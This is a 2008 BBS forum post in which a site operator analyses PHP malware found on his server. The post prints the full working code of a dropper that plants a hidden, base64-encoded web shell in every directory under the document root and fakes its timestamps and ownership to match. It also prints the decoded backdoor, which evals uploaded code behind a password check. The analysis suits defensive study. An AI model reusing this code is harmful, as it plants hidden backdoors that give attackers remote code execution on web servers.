A.PHP
From
Angus McLeod@VERT/ANJO to
All on Friday, February 01, 2008 10:43:00
There are two pieces of PHP code. Each is coded as 100 blank lines, then
a single line consisting of 150 spaces, all the PHP code, and another 150 spaces. All followed by another 100 blank lines. I guess the purpose is
to make the file appear to contain only blank lines, if it is opened by
some tool that doesn't wrap. Anyway, here is the first piece of code
which is retrieved from a directory called "a":
-----------8<------------------------------>8------------------
<?php
error_reporting(1);
global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);
function my_fwrite($f, $data) {
global $CURFILE;
$file_mtime = @filemtime($f);
$file_atime = @fileatime($f);
$dir_mtime = @filemtime(@dirname($f));
$dir_atime = @fileatime(@dirname($f));
if ($file_h = @fopen($f, "wb")) {
@fwrite($file_h, $data); @fclose($file_h);
if ($file_mtime) {
@touch($f, $file_mtime, $file_atime);
} elseif (@filemtime($CURFILE)) {
@chmod($f, @fileperms($CURFILE));
@touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
@chgrp($f, @filegroup($CURFILE));
@chown($f, @fileowner($CURFILE));
};
if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
return $f;
} else {
return '';
};
};
function ext($f) {
return substr($f, strrpos($f, ".") + 1);
};
function walkdir($p, $func='_walkdir', $l=0) {
global $START;
global $WD_TIMEOUT;
global $FL;
$func_f = "{$func}_f";
$func_d = "{$func}_d";
$func_s = "{$func}_s";
$func_e = "{$func}_e";
if ($dh = @opendir("$p")) {
if (function_exists($func_s)) {
if ($func_s($p, $l)) return 1;
};
while ($f = @readdir($dh)) {
if (time() - $START >= $WD_TIMEOUT[$l] ) break;
if ($f == '.' || $f == '..' ) continue;
if (@is_dir ("$p$f/") ) walkdir("$p$f/", $func, $l+1);
if (@is_dir ("$p$f/") && function_exists($func_d))
$func_d("$p$f/", $l);
if (@is_file("$p$f" ) && function_exists($func_f))
$func_f("$p$f" , $l);
};
closedir($dh);
if (function_exists($func_e)) $func_e($p, $l);
};
};
function r_cut($p) {
global $R;
return substr($p, strlen($R));
};
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("testdata_$t"));
};
$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
$HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
$FN = "namogofer.$fe";
function _walkdir_s($d, $l) {
global $FCNT;
$FCNT = array( 'fn' => '', 'dir' => 0, 'file' => 0, 'simtype' => 0 );
};
function _walkdir_d($d,$l) {
global $FCNT;
$FCNT['dir' ]++;
};
function _walkdir_f($f,$l) {
global $FCNT;
$FCNT['file']++;
if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};
function _walkdir_e($d,$l) {
global $C, $FCNT, $FN;
if ($C[$l]<7) {
if (my_fwrite("$d$FN", str_repeat("\n",100) . str_repeat('', 150) .
base64_decode(
'PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFS'.
'UzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0'.
'ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAi'.
'PHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9'.
'PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUg'.
'PSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUi'.
'XSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRj'.
'b2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgn'.
'cGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+'
) . str_repeat(' ', 150) . "\n" . str_repeat("\n", 100))) {
$C[$l]++;
$FCNT['fn'] = r_cut("$d$FN");
say(implode("\t", $FCNT));
};
};
};
walkdir("$R/");
testdata('end');
echo "</pre>";
------------8<------------------------------>8-------------
Obviously, I have cut away the leading and trailing blanks and spaces, and pretty-printed the code.
Note the last function that decodes a Base64 string, and adds 100 blank
lines and 150 spaces at the top and bottom. This matches with the blanks/ spaces found at the end of the exploit code itself.
The function say() simply calls echo() for some reason. Function testdata simply prepends "testdata_" to the argument, computes the MD5 hash, and
say()s it. I presume to obscure the meaning of any output.
The main function walkdir() seems to time itself, and stop after a period
of time defined in $WD_TIMEOUT. I assume this is to prevent runaway
execution drawing the attention of the system admin. The walkdir()
function traverses the directory tree starting at DOCUMENT_ROOT. It runs
four functions _walkdir_d(), _walkdir_e(), _walkdir_e() and _walkdir_e().
_d() is called for each directory found, and seems simply to incriment the count of the number of directories found, in $FCNT.
_f() is called for each file and counts the number of files, and also
counts the number of files with the same extension as the script that is running. (Presumably 'php' or one of it's variations.)
_s() seems to be called for each directory recursed/nested into, and it
resets the count data in $FCNT.
_e() is called when processing for each directory is complete. It seems
to try to write the Base64 encoded script to that directory, with the name 'namogofer' and the extension of the current script or 'php'. It then
prints the path/name of the script, and the stats/counts for the
directory. Writing this file seems complicated by the need to fixup the perms, ownership, group and mtime/atime of the new file with to match that
of the script.
The base64 decodes as follows (pretty-printed):
------------8<------------------------------>8-------------
<?php
error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("testdata_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"]) == "aace99428c50dbe965acc93f3f275cd3") {
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
$HTTP_POST_FILES["f"]["size"])) {
eval($code);
} else {
testdata('f');
};
} else {
testdata('pass');
};
testdata('end');
echo "</pre>";
------------8<------------------------------>8-------------
This is what he's trying to write to all my directories. It looks like
it checks for the presence of an argument, and if that argument is
present, tries to read the contents of any named, uploaded file into the variable '$code'. Then, it tries to eval() that code. This would neatly allow the exploiter to upload any piece of code he wanted and have it
executed immediately, with the results redisplayed back to him. Nice.
What *exactly* the argument is that triggers this behaviour, I don't know, because the code is testing for it by comparing the MD5 digest of the
argument with the known digest "aace99428c50dbe965acc93f3f275cd3".
Anybody care to work out what text gives that digest?
Comments and observations welcome.
---
Playing: "Talking Bout My Baby" by "Fatboy Slim"
from the "Halfway Between The Gutter And The Stars" album.
---
þ Synchronet þ With my ISP it's the InterNOT at The ANJO BBS